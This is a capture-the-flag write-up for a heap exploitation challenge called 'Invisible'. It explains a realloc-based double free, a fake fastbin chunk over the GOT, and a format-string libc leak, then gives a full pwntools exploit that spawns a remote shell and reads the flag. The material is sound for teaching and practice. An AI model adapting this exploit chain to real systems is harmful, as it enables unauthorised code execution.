# Invisibleby mito
## 17 Solves, 217pt
Since the Edit function used `realloc()`, we can call free by specifying `size 0`.
```int __fastcall edit(__int64 a1, __int64 a2, __int64 a3){  unsigned __int16 v4; // [rsp+Ch] [rbp-4h]  unsigned __int16 v5; // [rsp+Eh] [rbp-2h]
  v4 = readint("index: ");  if ( v4 > 1u )    return puts("[-] edit: error");  if ( !ptr[v4] )    return puts("[-] edit: error");  v5 = readint("size: ");  if ( v5 > 0x78u || !realloc((void *)ptr[v4], v5) )    return puts("[-] edit: error");  *(_BYTE *)(ptr[v4] + (unsigned __int16)readline("data: ", (void *)ptr[v4], (unsigned int)v5 - 1)) = 0;  return puts("[+] edit: done");}```
We can make a `double-free` state with the following code
```New(0, 0x60, "A"*0x10)New(1, 0x60, "B"*0x10)Edit2(0, 0)Delete(1)Delete(0)```
```pwndbg> binsfastbins0x20: 0x00x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x603000 —▸ 0x603070 ◂— 0x6030000x80: 0x0```
Furthermore, we can consume chunks of fastbin by changing the size with the Edit function.
```New(0, 0x60, p64(0x60202d))
New(1, 0x60, "C"*0x10)Edit(1, 0x70, "c")Delete(1)New(1, 0x60, "D"*0x10)Edit(1, 0x20, "d")Delete(1)```
```pwndbg> binsfastbins0x20: 0x00x30: 0x603000 ◂— 0x00x40: 0x603030 ◂— 0x00x50: 0x00x60: 0x00x70: 0x60202d (_GLOBAL_OFFSET_TABLE_+45) ◂— 0xfff7ad920000007f0x80: 0x603070 ◂— 0x0```
Printf() address of libc-2.23.so can be used as fake chunk of size 0x7f, because the least significant byte of` prinf` is `null`.
```pwndbg> x/40gx 0x6020000x602000:	0x0000000000601e20	0x00007ffff7ffe1680x602010:	0x00007ffff7dee870	0x00007ffff7a914f00x602020:	0x00007ffff7a7c690	0x00000000004007560x602030:	0x00007ffff7a96ab0	0x00007ffff7a62800 <-- printf0x602040:	0x00007ffff7ad9200	0x00007ffff7b042500x602050:	0x00007ffff7a423c0	0x00007ffff7a911300x602060:	0x00007ffff7a916c0	0x00007ffff7a7ce700x602070:	0x00007ffff7a43e80	0x00000000004007f60x602080:	0x0000000000000000	0x0000000000000000
pwndbg> x/40gx 0x60200d0x60200d:	0xfff7dee87000007f	0xfff7a914f000007f0x60201d:	0xfff7a7c69000007f	0x000040075600007f0x60202d:	0xfff7a96ab0000000	0xfff7a6280000007f <-- 0x0000007f0x60203d:	0xfff7ad920000007f	0xfff7b0425000007f0x60204d:	0xfff7a423c000007f	0xfff7a9113000007f0x60205d:	0xfff7a916c000007f	0xfff7a7ce7000007f0x60206d:	0xfff7a43e8000007f	0x00004007f600007f0x60207d:	0x0000000000000000	0x0000000000000000```
We can use the fake chunk at `0x60202d`. We can overwrite GOT from read() to exit() function.
```buf  = "\x7f\x00\x00"buf += p64(elf.sym['alarm']+6)buf += p64(elf.sym['read']+6)buf += p64(elf.sym['signal']+6)buf += p64(elf.sym['malloc']+6)buf += p64(0x40071e)              # realloc => retbuf += p64(elf.sym['setvbuf']+6)buf += p64(elf.sym['printf']+6)   # atoi => printfNew(1, 0x60, buf)```
```pwndbg> x/80gx 0x6020000x602000:	0x0000000000601e20	0x00007ffff7ffe1680x602010:	0x00007ffff7dee870	0x00007ffff7a914f00x602020:	0x00007ffff7a7c690	0x00000000004007560x602030:	0x00007ffff7a96ab0	0x00007ffff7a628000x602040:	0x0000000000400786	0x00007ffff7b042500x602050:	0x00000000004007a6	0x00000000004007b60x602060:	0x000000000040071e	0x00000000004007d60x602070:	0x0000000000400776	0x0000000000400700```
Rewriting `atoi` function to `printf` function enables libc leak.
```s.sendlineafter("> ", "1")s.sendlineafter(": ", "%3$p")
r = s.recvuntil("[")[:-1]libc_leak = int(r, 16)libc_base = libc_leak - 0xf7260system_addr = libc_base + libc.symbols['system']```
Finally, we can start the shell by rewriting the `atoi` function to the `system` function.
```buf  = "\x7f\x00\x00"buf += p64(elf.sym['alarm']+6)buf += p64(elf.sym['read']+6)buf += p64(elf.sym['signal']+6)buf += p64(elf.sym['malloc']+6)buf += p64(0x40071e)              # realloc => retbuf += p64(elf.sym['setvbuf']+6)buf += p64(system_addr)Edit1("%96c", buf)```
```pwndbg> x/80gx 0x6020000x602000:	0x0000000000601e20	0x00007ffff7ffe1680x602010:	0x00007ffff7dee870	0x00007ffff7a914f00x602020:	0x00007ffff7a7c690	0x00000000004007560x602030:	0x00007ffff7a96ab0	0x00007ffff7a628000x602040:	0x0000000000400786	0x00007ffff7b042500x602050:	0x00000000004007a6	0x00000000004007b60x602060:	0x000000000040071e	0x00000000004007d60x602070:	0x00007ffff7a52390	0x0000000000400700      ◂—  0x00007ffff7a52390 is system address```
Exploit code is below.
```from pwn import *
#context(os='linux', arch='amd64')#context.log_level = 'debug'
BINARY = './chall'elf  = ELF(BINARY)
if len(sys.argv) > 1 and sys.argv[1] == 'r':  HOST = "69.172.229.147"  PORT = 9003  s = remote(HOST, PORT)  libc = ELF("./libc-2.23.so")else:  s = process(BINARY)  #s = process(BINARY, env={'LD_PRELOAD': './libc.so.6'})  libc = elf.libc
def New(index, size, data):  s.sendlineafter("> ", "1")  s.sendlineafter(": ", str(index))  s.sendlineafter(": ", str(size))  s.sendafter(": ", data)
def Edit(index, size, data):  s.sendlineafter("> ", "2")  s.sendlineafter(": ", str(index))  s.sendlineafter(": ", str(size))  s.sendafter(": ", data)
def Edit1(size, data):  s.sendlineafter("> ", "22")  s.sendlineafter(": ", "1")  s.sendlineafter(": ", size)  s.sendafter(": ", data)
def Edit2(index, size):  s.sendlineafter("> ", "2")  s.sendlineafter(": ", str(index))  s.sendlineafter(": ", str(size))
def Delete(index):  s.sendlineafter("> ", "3")  s.sendlineafter(": ", str(index))
New(0, 0x60, "A"*0x10)New(1, 0x60, "B"*0x10)
# Double FreeEdit2(0, 0)Delete(1)Delete(0)
New(0, 0x60, p64(0x60202d))
# use fastbin 2 timesNew(1, 0x60, "C"*0x10)Edit(1, 0x70, "c")Delete(1)
New(1, 0x60, "D"*0x10)Edit(1, 0x20, "d")Delete(1)
# GOT overwrite# printf GOT : LSB is null# 0x00007ffff7a62800buf  = "\x7f\x00\x00"buf += p64(elf.sym['alarm']+6)buf += p64(elf.sym['read']+6)buf += p64(elf.sym['signal']+6)buf += p64(elf.sym['malloc']+6)buf += p64(0x40071e)              # realloc => retbuf += p64(elf.sym['setvbuf']+6)buf += p64(elf.sym['printf']+6)   # atoi => printfNew(1, 0x60, buf)
# libc leaks.sendlineafter("> ", "1")s.sendlineafter(": ", "%3$p")
r = s.recvuntil("[")[:-1]libc_leak = int(r, 16)libc_base = libc_leak - 0xf7260system_addr = libc_base + libc.symbols['system']
print "libc_leak   =", hex(libc_leak)print "libc_base   =", hex(libc_base)print "system_addr =", hex(system_addr)
buf  = "\x7f\x00\x00"buf += p64(elf.sym['alarm']+6)buf += p64(elf.sym['read']+6)buf += p64(elf.sym['signal']+6)buf += p64(elf.sym['malloc']+6)buf += p64(0x40071e)              # realloc => retbuf += p64(elf.sym['setvbuf']+6)buf += p64(system_addr)Edit1("%96c", buf)
# start /bin/shs.sendlineafter("> ", "/bin/sh\x00")
s.interactive()
'''$ python exploit.py rlibc_leak   = 0x7f13f420f260libc_base   = 0x7f13f4118000system_addr = 0x7f13f415d390[*] Paused (press any to continue)[*] Switching to interactive mode$ iduid=999(pwn) gid=999(pwn) groups=999(pwn)$ lschallflag.txtredir.sh$ cat flag.txtASIS{l0ngl0ng-tr4v3l-2-s33k-7h3-l34k}'''```
Thank you for a good challenge.